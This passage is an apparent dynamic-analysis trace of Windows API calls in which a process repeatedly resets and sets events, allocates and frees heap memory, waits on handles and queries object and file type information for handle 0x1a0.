[0149.417] ResetEvent (hEvent=0xe8) returned 1 [0149.417] SetEvent (hEvent=0xec) returned 1 [0149.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.417] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.417] ResetEvent (hEvent=0xe8) returned 1 [0149.417] SetEvent (hEvent=0xec) returned 1 [0149.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.418] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.418] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.418] ResetEvent (hEvent=0xe8) returned 1 [0149.418] SetEvent (hEvent=0xec) returned 1 [0149.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.418] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.418] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.418] ResetEvent (hEvent=0xe8) returned 1 [0149.418] SetEvent (hEvent=0xec) returned 1 [0149.418] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.418] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.418] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.418] ResetEvent (hEvent=0xe8) returned 1 [0149.418] SetEvent (hEvent=0xec) returned 1 [0149.419] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.419] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.419] ResetEvent (hEvent=0xe8) returned 1 [0149.419] SetEvent (hEvent=0xec) returned 1 [0149.419] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.419] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.419] ResetEvent (hEvent=0xe8) returned 1 [0149.419] SetEvent (hEvent=0xec) returned 1 [0149.419] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.419] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.419] ResetEvent (hEvent=0xe8) returned 1 [0149.419] SetEvent (hEvent=0xec) returned 1 [0149.419] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.420] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.420] ResetEvent (hEvent=0xe8) returned 1 [0149.420] SetEvent (hEvent=0xec) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.420] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.420] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.420] ResetEvent (hEvent=0xe8) returned 1 [0149.420] SetEvent (hEvent=0xec) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.420] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.420] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.420] ResetEvent (hEvent=0xe8) returned 1 [0149.420] SetEvent (hEvent=0xec) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.420] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.420] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.420] ResetEvent (hEvent=0xe8) returned 1 [0149.421] SetEvent (hEvent=0xec) returned 1 [0149.421] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.421] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.421] ResetEvent (hEvent=0xe8) returned 1 [0149.421] SetEvent (hEvent=0xec) returned 1 [0149.421] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.421] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.421] ResetEvent (hEvent=0xe8) returned 1 [0149.421] SetEvent (hEvent=0xec) returned 1 [0149.421] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.421] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.421] ResetEvent (hEvent=0xe8) returned 1 [0149.421] SetEvent (hEvent=0xec) returned 1 [0149.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.422] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.422] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.422] ResetEvent (hEvent=0xe8) returned 1 [0149.422] SetEvent (hEvent=0xec) returned 1 [0149.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.422] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.422] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.422] ResetEvent (hEvent=0xe8) returned 1 [0149.422] SetEvent (hEvent=0xec) returned 1 [0149.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.422] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.422] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.422] ResetEvent (hEvent=0xe8) returned 1 [0149.422] SetEvent (hEvent=0xec) returned 1 [0149.422] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.423] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.423] ResetEvent (hEvent=0xe8) returned 1 [0149.423] SetEvent (hEvent=0xec) returned 1 [0149.423] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.423] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.423] ResetEvent (hEvent=0xe8) returned 1 [0149.423] SetEvent (hEvent=0xec) returned 1 [0149.423] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.423] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.423] ResetEvent (hEvent=0xe8) returned 1 [0149.423] SetEvent (hEvent=0xec) returned 1 [0149.423] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.423] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.423] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.424] GetFileType (hFile=0x1a0) returned 0x3 [0149.424] ResetEvent (hEvent=0xe8) returned 1 [0149.424] SetEvent (hEvent=0xec) returned 1 [0149.424] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.424] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.424] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.424] GetFileType (hFile=0x1a0) returned 0x3 [0149.424] ResetEvent (hEvent=0xe8) returned 1 [0149.424] SetEvent (hEvent=0xec) returned 1 [0149.424] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.424] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.424] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.424] GetFileType (hFile=0x1a0) returned 0x3 [0149.424] ResetEvent (hEvent=0xe8) returned 1 [0149.424] SetEvent (hEvent=0xec) returned 1 [0149.424] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.424] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.425] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.425] ResetEvent (hEvent=0xe8) returned 1 [0149.425] SetEvent (hEvent=0xec) returned 1 [0149.425] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.425] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.425] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.425] ResetEvent (hEvent=0xe8) returned 1 [0149.425] SetEvent (hEvent=0xec) returned 1 [0149.425] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.425] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.425] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.425] GetFileType (hFile=0x1a0) returned 0x3 [0149.425] ResetEvent (hEvent=0xe8) returned 1 [0149.425] SetEvent (hEvent=0xec) returned 1 [0149.425] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.425] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.425] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.425] GetFileType (hFile=0x1a0) returned 0x3 [0149.426] ResetEvent (hEvent=0xe8) returned 1 [0149.426] SetEvent (hEvent=0xec) returned 1 [0149.426] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.426] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.426] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.426] GetFileType (hFile=0x1a0) returned 0x3 [0149.426] ResetEvent (hEvent=0xe8) returned 1 [0149.426] SetEvent (hEvent=0xec) returned 1 [0149.426] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.426] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.426] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.426] ResetEvent (hEvent=0xe8) returned 1 [0149.426] SetEvent (hEvent=0xec) returned 1 [0149.426] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.426] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.426] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.426] ResetEvent (hEvent=0xe8) returned 1 [0149.427] SetEvent (hEvent=0xec) returned 1 [0149.427] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.427] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.427] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.427] ResetEvent (hEvent=0xe8) returned 1 [0149.427] SetEvent (hEvent=0xec) returned 1 [0149.427] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.427] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.427] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.427] ResetEvent (hEvent=0xe8) returned 1 [0149.427] SetEvent (hEvent=0xec) returned 1 [0149.427] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.427] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.427] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.427] ResetEvent (hEvent=0xe8) returned 1 [0149.427] SetEvent (hEvent=0xec) returned 1 [0149.428] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.428] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.428] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.428] ResetEvent (hEvent=0xe8) returned 1 [0149.428] SetEvent (hEvent=0xec) returned 1 [0149.428] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.428] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.428] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.428] ResetEvent (hEvent=0xe8) returned 1 [0149.428] SetEvent (hEvent=0xec) returned 1 [0149.428] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.428] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.428] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.428] ResetEvent (hEvent=0xe8) returned 1 [0149.428] SetEvent (hEvent=0xec) returned 1 [0149.428] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.429] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.429] ResetEvent (hEvent=0xe8) returned 1 [0149.429] SetEvent (hEvent=0xec) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.429] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.429] ResetEvent (hEvent=0xe8) returned 1 [0149.429] SetEvent (hEvent=0xec) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.429] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.429] ResetEvent (hEvent=0xe8) returned 1 [0149.429] SetEvent (hEvent=0xec) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.430] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.430] ResetEvent (hEvent=0xe8) returned 1 [0149.430] SetEvent (hEvent=0xec) returned 1 [0149.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, 